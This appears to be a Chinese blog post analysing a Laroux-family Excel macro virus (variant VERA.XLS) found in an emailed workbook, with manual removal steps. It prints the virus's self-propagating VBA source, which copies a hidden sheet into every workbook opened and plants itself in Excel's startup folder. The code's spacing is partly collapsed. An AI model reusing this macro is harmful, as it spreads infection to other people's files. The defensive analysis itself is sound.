爱华网学院发来的电子邮件里，Excel文件被卡巴提示有Virus.MSExcel.Laroux-based病毒。金山和360没反应。以下是趋势上的病毒描述：
Arrival Details
This malware arrives via the following means:
Opening Microsoft Excel workbook files infected with thismalwareInstallation
This file infector drops the following copies of itself intothe affected system:
%User Profile%ApplicationDataMicrosoftExcelXLSTARTStartUp.xls(Note: %User Profile% is the current user's profile folder,which is usually C:WindowsProfiles{user name} on Windows 98 andME, C:WINNTProfiles{user name} on Windows NT, and C:Documentsand Settings{user name} on Windows 2000, XP, and Server2003.)
File Infection
This file infector infects the following file types:
Microsoft Office Excel Workbook (*.xls)
是个Excel的宏病毒。用Alt+F11打开带毒文件的宏，浏览了一下宏的代码。Sub auto_open() Application.OnSheetActivate = "check_files"End Sub
Sub check_files() c$ =Application.StartupPath m$ = Dir(c$ & ""& "VERA.XLS") If m$ = "VERA.XLS" Thenp = 1 Else p = 0 IfActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0 whichfile = p + w *10 Select Case whichfile Case 10 Application.ScreenUpdating = False n4$ =ActiveWorkbook.Name Sheets("locas").Visible= True Sheets("locas").Select Sheets("locas").Copy WithActiveWorkbook .Title = "" .Subject = "" .Author = "" .Keywords = "" .Comments = "" End With newname$ =ActiveWorkbook.Name c4$ = CurDir() ChDirApplication.StartupPath ActiveWindow.Visible =False Workbooks(newname$).SaveAs FileName:=Application.StartupPath &"/" & "VERA.XLS", FileFormat:=xlNormal _ , Password:="", WriteResPassword:="",ReadOnlyRecommended:= _ False, CreateBackup:=False ChDir c4$ Workbooks(n4$).Sheets("LOCAS").Visible = False Application.OnSheetActivate = "" Application.ScreenUpdating = True Application.OnSheetActivate = "VERA.xls!check_files" Case 1 Application.ScreenUpdating = False n4$ =ActiveWorkbook.Name p4$ =ActiveWorkbook.Path s$ =Workbooks(n4$).Sheets(1).Name If s$ <> "LOCAS"Then Workbooks("VERA.XLS").Sheets("LOCAS").Copybefore:=Workbooks(n4$).Sheets(1) Workbooks(n4$).Sheets("LOCAS").Visible = False Else End If Application.OnSheetActivate = "" Application.ScreenUpdating = Tru Application.OnSheetActivate = "VERA.xls!check_files" Case ElseEnd SelectEnd Sub
从源代码看，这个病毒的破坏行不大，就是在excel的StartupPath里写个文件。不过变种会比较多，我收到的这个就是把Startup.xls改为VERA.xls了。
清除的方法，就手工清一下好了。1. 找到MicrosoftExcelXLSTART；不同的windows版本，文件名略有不同。将该文件夹中的可疑的EXCEL文件都删除2.打开Excel，设置宏的安全级别为最高3.打开被提示有病毒的Excel文档，按下Alt+F11键，删除宏。
